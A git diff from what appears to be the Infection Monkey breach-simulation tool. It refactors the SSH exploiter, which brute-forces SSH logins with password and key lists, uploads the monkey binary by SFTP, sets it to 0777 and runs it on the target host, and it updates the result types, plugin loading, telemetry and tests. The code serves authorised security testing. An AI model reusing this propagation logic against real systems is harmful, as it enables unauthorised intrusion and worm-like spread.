diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 744ea57e8..b74dc3871 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -1,10 +1,13 @@ import logging from abc import abstractmethod from datetime import datetime +from typing import Dict from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration +from infection_monkey.i_puppet import ExploiterResultData +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -26,7 +29,7 @@ class HostExploiter: def _EXPLOITED_SERVICE(self): pass - def __init__(self, host): + def __init__(self): self._config = WormConfiguration self.exploit_info = { "display_name": self._EXPLOITED_SERVICE, @@ -37,7 +40,10 @@ class HostExploiter: "executed_cmds": [], } self.exploit_attempts = [] - self.host = host + self.host = None + self.telemetry_messenger = None + self.options = {} + self.exploit_result = {} def set_start_time(self): self.exploit_info["started"] = datetime.now().isoformat() @@ -48,17 +54,6 @@ class HostExploiter: def is_os_supported(self): return self.host.os.get("type") in self._TARGET_OS_TYPE - def send_exploit_telemetry(self, name: str, result: bool): - from infection_monkey.telemetry.exploit_telem import ExploitTelem - - ExploitTelem( # stale code - name=name, - host=self.host, - result=result, - info=self.exploit_info, - attempts=self.exploit_attempts, - ).send() - def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): self.exploit_attempts.append( { @@ -71,7 +66,12 @@ class HostExploiter: } ) - def exploit_host(self): + # TODO: host should be VictimHost, at the moment it can't because of circular dependency + def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict): + self.host = host + self.telemetry_messenger = telemetry_messenger + self.options = options + self.pre_exploit() result = None try: @@ -85,6 +85,9 @@ class HostExploiter: return result def pre_exploit(self): + self.exploit_result = ExploiterResultData( + os=self.host.os.get("type"), info=self.exploit_info, attempts=self.exploit_attempts + ) self.set_start_time() def post_exploit(self): diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index a989ea66c..4cbfd1e5c 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -10,10 +10,12 @@ from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) @@ -26,8 +28,8 @@ class SSHExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "SSH" - def __init__(self, host): - super(SSHExploiter, self).__init__(host) + def __init__(self): + super(SSHExploiter, self).__init__() self._update_timestamp = 0 def log_transfer(self, transferred, total): @@ -37,7 +39,10 @@ class SSHExploiter(HostExploiter): self._update_timestamp = time.time() def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: - user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() + user_ssh_key_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_ssh_keys"], + ) for user, ssh_key_pair in user_ssh_key_pairs: # Creating file-like private key for paramiko @@ -67,7 +72,10 @@ class SSHExploiter(HostExploiter): raise FailedExploitationError def exploit_with_login_creds(self, port) -> paramiko.SSHClient: - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_password_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_password_list"], + ) for user, current_password in user_password_pairs: @@ -76,23 +84,16 @@ class SSHExploiter(HostExploiter): try: ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) - logger.debug( - "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", - self.host, - user, - self._config.hash_sensitive_data(current_password), - ) + logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.report_login_attempt(True, user, current_password) return ssh except Exception as exc: logger.debug( - "Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", + "Error logging into victim %r with user" " %s: (%s)", self.host, user, - self._config.hash_sensitive_data(current_password), exc, ) self.report_login_attempt(False, user, current_password) @@ -100,9 +101,9 @@ class SSHExploiter(HostExploiter): continue raise FailedExploitationError - def _exploit_host(self): - + def _exploit_host(self) -> ExploiterResultData: port = SSH_PORT + # if ssh banner found on different port, use that port. for servkey, servdata in list(self.host.services.items()): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): @@ -110,17 +111,22 @@ class SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - logger.info("SSH port is closed on %r, skipping", self.host) - return False + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" + + logger.info(self.exploit_result.error_message) + return self.exploit_result try: ssh = self.exploit_with_ssh_keys(port) + self.exploit_result.exploitation_success = True except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) + self.exploit_result.exploitation_success = True except FailedExploitationError: - logger.debug("Exploiter SSHExploiter is giving up...") - return False + self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." + logger.error(self.exploit_result.error_message) + return self.exploit_result if not self.host.os.get("type"): try: @@ -128,12 +134,20 @@ class SSHExploiter(HostExploiter): uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.host.os["type"] = "linux" + self.exploit_result.os = "linux" else: - logger.info("SSH Skipping unknown os: %s", uname_os) - return False + self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" + + if not uname_os: + logger.error(self.exploit_result.error_message) + return self.exploit_result except Exception as exc: - logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) - return False + self.exploit_result.error_message = ( + f"Error running uname os command on victim {self.host}: ({exc})" + ) + + logger.error(self.exploit_result.error_message) + return self.exploit_result if not self.host.os.get("machine"): try: @@ -142,15 +156,20 @@ class SSHExploiter(HostExploiter): if "" != uname_machine: self.host.os["machine"] = uname_machine except Exception as exc: - logger.debug( - "Error running uname machine command on victim %r: (%s)", self.host, exc + self.exploit_result.error_message = ( + f"Error running uname machine command on victim {self.host}: ({exc})" ) + logger.error(self.exploit_result.error_message) src_path = get_target_monkey(self.host) if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False + self.exploit_result.error_message = ( + f"Can't find suitable monkey executable for host {self.host}" + ) + + logger.error(self.exploit_result.error_message) + return self.exploit_result try: ftp = ssh.open_sftp() @@ -159,45 +178,58 @@ class SSHExploiter(HostExploiter): with monkeyfs.open(src_path) as file_obj: ftp.putfo( file_obj, - self._config.dropper_target_path_linux, + self.options["dropper_target_path_linux"], file_size=monkeyfs.getsize(src_path), callback=self.log_transfer, ) - ftp.chmod(self._config.dropper_target_path_linux, 0o777) + ftp.chmod(self.options["dropper_target_path_linux"], 0o777) status = ScanStatus.USED - T1222Telem( - ScanStatus.USED, - "chmod 0777 %s" % self._config.dropper_target_path_linux, - self.host, - ).send() + self.telemetry_messenger.send_telemetry( + T1222Telem( + ScanStatus.USED, + "chmod 0777 %s" % self.options["dropper_target_path_linux"], + self.host, + ) + ) ftp.close() except Exception as exc: - logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) + self.exploit_result.error_message = ( + f"Error uploading file into victim {self.host}: ({exc})" + ) + logger.error(self.exploit_result.error_message) status = ScanStatus.SCANNED - T1105Telem( - status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path - ).send() + self.telemetry_messenger.send_telemetry( + T1105Telem( + status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + ) + ) if status == ScanStatus.SCANNED: - return False + return self.exploit_result try: - cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, + self.options["dropper_target_path_linux"], self.host, cmdline, ) + self.exploit_result.propagation_success = True + ssh.close() self.add_executed_cmd(cmdline) - return True + return self.exploit_result except Exception as exc: - logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) - return False + self.exploit_result.error_message = ( + f"Error running monkey on victim {self.host}: ({exc})" + ) + + logger.error(self.exploit_result.error_message) + return self.exploit_result diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 82f6b8b94..fb861c76f 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -1,8 +1,9 @@ import abc import threading from collections import namedtuple +from dataclasses import dataclass from enum import Enum -from typing import Dict, List, Sequence +from typing import Dict, Iterable, List, Mapping, Sequence from . import PluginType from .credential_collection import Credentials @@ -17,10 +18,16 @@ class UnknownPluginError(Exception): pass -ExploiterResultData = namedtuple( - "ExploiterResultData", - ["exploitation_success", "propagation_success", "os", "info", "attempts", "error_message"], -) +@dataclass +class ExploiterResultData: + exploitation_success: bool = False + propagation_success: bool = False + os: str = "" + info: Mapping = None + attempts: Iterable = None + error_message: str = "" + + PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) @@ -103,16 +110,19 @@ class IPuppet(metaclass=abc.ABCMeta): :rtype: FingerprintData """ + # TODO: host should be VictimHost, at the moment it can't because of circular dependency @abc.abstractmethod def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: """ Runs an exploiter against a remote host :param str name: The name of the exploiter to run - :param str host: The domain name or IP address of a host + :param object host: The domain name or IP address of a host :param Dict options: A dictionary containing options that modify the behavior of the exploiter + :param threading.Event interrupt: A threading.Event object that signals the exploit to stop + executing and clean itself up. :return: True if exploitation was successful, False otherwise :rtype: ExploiterResultData """ diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 092bc78d8..5a76b20a8 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -115,7 +115,7 @@ class Exploiter: credentials = self._get_credentials_for_propagation() options = {"credentials": credentials, **options} - return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop) + return self._puppet.exploit_host(exploiter_name, victim_host, options, stop) def _get_credentials_for_propagation(self) -> Mapping: try: diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c8132e054..5c36b0278 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import ( MimikatzCredentialCollector, SSHCredentialCollector, ) +from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -194,7 +195,7 @@ class InfectionMonkey: return local_network_interfaces def _build_puppet(self) -> IPuppet: - puppet = Puppet() + puppet = Puppet(self.telemetry_messenger) puppet.load_plugin( "MimikatzCollector", @@ -213,6 +214,8 @@ class InfectionMonkey: puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER) + puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) return puppet diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 453265f55..8a7f5935d 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -134,8 +134,9 @@ class MockPuppet(IPuppet): return empty_fingerprint_data + # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: logger.debug(f"exploit_hosts({name}, {host}, {options})") attempts = [ @@ -209,7 +210,7 @@ class MockPuppet(IPuppet): } try: - return successful_exploiters[host][name] + return successful_exploiters[host.ip_addr][name] except KeyError: return ExploiterResultData( False, False, os_linux, {}, [], f"{name} failed for host {host}" diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index bea4695b3..1e4ce7e96 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -14,6 +14,7 @@ from infection_monkey.i_puppet import ( PostBreachData, ) +from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from .mock_puppet import MockPuppet from .plugin_registry import PluginRegistry @@ -21,9 +22,10 @@ logger = logging.getLogger() class Puppet(IPuppet): - def __init__(self) -> None: + def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None: self._mock_puppet = MockPuppet() self._plugin_registry = PluginRegistry() + self._telemetry_messenger = telemetry_messenger def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) @@ -56,10 +58,12 @@ class Puppet(IPuppet): fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER) return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) + # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: - return self._mock_puppet.exploit_host(name, host, options, interrupt) + exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER) + return exploiter.exploit_host(host, self._telemetry_messenger, options) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index 5c131dc77..c276e1b8f 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -3,7 +3,7 @@ from typing import Dict from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.base_telem import BaseTelem -from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData +from infection_monkey.i_puppet.i_puppet import ExploiterResultData class ExploitTelem(BaseTelem): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 91eb42d8b..89f8adbc1 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -61,7 +61,7 @@ class T1210(AttackTechnique): def get_exploited_services(): results = mongo.db.telemetry.aggregate( [ - {"$match": {"telem_category": "exploit", "data.result": True}}, + {"$match": {"telem_category": "exploit", "data.exploitation_result": True}}, { "$group": { "_id": {"ip_addr": "$data.machine.ip_addr"}, diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py index f06d23274..17825e0cf 100644 --- a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py @@ -56,7 +56,7 @@ def get_exploits_used_on_node(node: dict) -> List[str]: [ ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name for exploit in node["exploits"] - if exploit["result"] + if exploit["exploitation_result"] ] ) ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 6cd4bc4ae..c63672127 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -24,7 +24,7 @@ def process_exploit_telemetry(telemetry_json): check_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), - exploit_successful=telemetry_json["data"]["exploitation_success"], + exploit_successful=telemetry_json["data"]["exploitation_result"], exploiter=telemetry_json["data"]["exploiter"], target_ip=telemetry_json["data"]["machine"]["ip_addr"], timestamp=telemetry_json["timestamp"], diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 950bc329b..54b9275ae 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -1,12 +1,19 @@ import threading from unittest.mock import MagicMock +import pytest + from infection_monkey.i_puppet import PluginType from infection_monkey.puppet.puppet import Puppet -def test_puppet_run_payload_success(monkeypatch): - p = Puppet() +@pytest.fixture +def mock_telemetry_messenger(): + return MagicMock() + + +def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger): + p = Puppet(mock_telemetry_messenger) payload = MagicMock() payload_name = "PayloadOne" @@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch): payload.run.assert_called_once() -def test_puppet_run_multiple_payloads(monkeypatch): - p = Puppet() +def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger): + p = Puppet(mock_telemetry_messenger) payload_1 = MagicMock() payload1_name = "PayloadOne" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index 851ae9a99..efc59f5ae 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -94,7 +94,7 @@ NODE_DICT = { "dead": True, "exploits": [ { - "result": True, + "exploitation_result": True, "exploiter": "DrupalExploiter", "info": { "display_name": "Drupal Server", @@ -109,7 +109,7 @@ NODE_DICT = { "origin": "MonkeyIsland : 192.168.56.1", }, { - "result": True, + "exploitation_result": True, "exploiter": "ElasticGroovyExploiter", "info": { "display_name": "Elastic search", @@ -130,8 +130,8 @@ NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) -NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False -NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False @pytest.fixture